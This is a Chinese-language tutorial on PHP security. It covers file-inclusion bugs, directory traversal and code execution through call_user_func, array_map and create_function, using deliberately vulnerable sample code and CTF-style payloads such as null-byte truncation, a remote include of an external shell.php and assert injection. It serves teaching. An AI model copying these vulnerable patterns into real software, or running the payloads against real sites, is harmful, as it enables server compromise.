PHP安全

文件包含漏洞

常见的导致文件包含漏洞的函数如下

1
include(),include_once(),require(),require_once(),fopen(),readfile()

当使用

1
include(),include_once(),require(),require_once()

包含一个新文件时,该文件作为PHP代码去执行。也就是说如果被包含的是txt文件,图片文件,远程url也会被当做PHP代码去执行

QQ截图20191104111626.png

想要利用成功文件包含漏洞应满足

1
2
include()等函数通过动态变量的方式引入需要包含的文件
用户能够控制该动态变量

本地文件包含

1
2
3
4
5
6
<?php
$file = $_GET['file'];
if(file_exists('./home/bh/'.$file.'.php')){
include './home/bh/'.$file.'.php';
}
?>

有这一段代码 用户能够控制file 如果我传入

1
?file = ../info.txt

则这段代码就变成了

1
include './home/../info.txt.php';

但是被包含的文件info.txt.php文件是不存在的

这时候我们可以利用已下几种方法去绕过

1
2
3
4
5
6
7
%00截断
../info.txt%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)

径长度截断:
../info.txt/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

远程文件包含

如果PHP配置选项 allow_url_include为on则可以远程加载文件

实战中不常见(可能怪我太菜 我很少遇到)

1
2
3
<?php
include $_GET['url'];
?>
1
?url=https://poc10.cn/shell.php

shell.txt内容为<?php phpinfo(); ?>会直接打印出phpinfo

远程文件包含还有一种PHP输入输出流的利用方式,可直接执行POST代码

(php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.30))

QQ截图20191104150048.png

在ctf中比较常见

目录遍历

文件包含漏洞也能读取敏感文件或服务器端脚本的源代码

使用../../的方式返回上层目录这种方式被称为目录遍历

例如有如下代码

1
2
3
4
<?php
$file = $_GET['file'];
include "$file";
?>

QQ截图20191104141806.png

这里读取了 网站根目录之外的文件

目录遍历是一种跨越目录读取文件的方法,当PHP没有配置open_basedir

文件包含漏洞可以访问任意文件。

当设置了open_basedir

QQ截图20191104142837.png

open_basedir作用是在某个特定目录下PHP能打开的文件 这就解决了跨目录读取文件的问题。

代码执行

代码执行除了我们经常用的 eval assert之外 还有一个

call_user_func(1,2)函数 函数有两个参数 第一个参数可以写一个函数(是将被调用的回调函数),第二个参数则是这个函数的参数

1
call_user_func('eval','phpinfo()');

然而有个问题是这个函数并不能回调所有的函数

1
array,echo(),empty(),eval(),exit(),isset(),list(),ptint(),unset()

都是不可以被此函数回调的。

call_user_func_array(a,b)call_user_func(a,b)类似唯一不同的是call_user_func_array(a,b)的第二个参数一定要是数组的格式 。

1
call_user_func_array(assert,array('phpinfo()'));

array_map($a,$b)第一个参数回调函数,第二个参数作为回调函数的参数

1
2
3
4
$a=$_GET['a'];
$b=$_GET['b'];
$c=array_map($a,$b);
url:127.0.0.1/?a=assert&b[]=phpinfo()

一道例题如下

QQ截图20200119134104.png

create_function根据传递的参数创建匿名函数

参数1声明函数参数部分 参数2执行函数代码部分

我假设这里创建了一个a函数 因为匿名函数不好表示 理解原理就好

1
2
3
function a($name){
echo $name.'.'的价格是'.$price;
}

QQ截图20200119135148.png

1
2
3
function a($name){
echo $name.'.'的价格是'.abc;}phpinfo();/*;
}

变量覆盖漏洞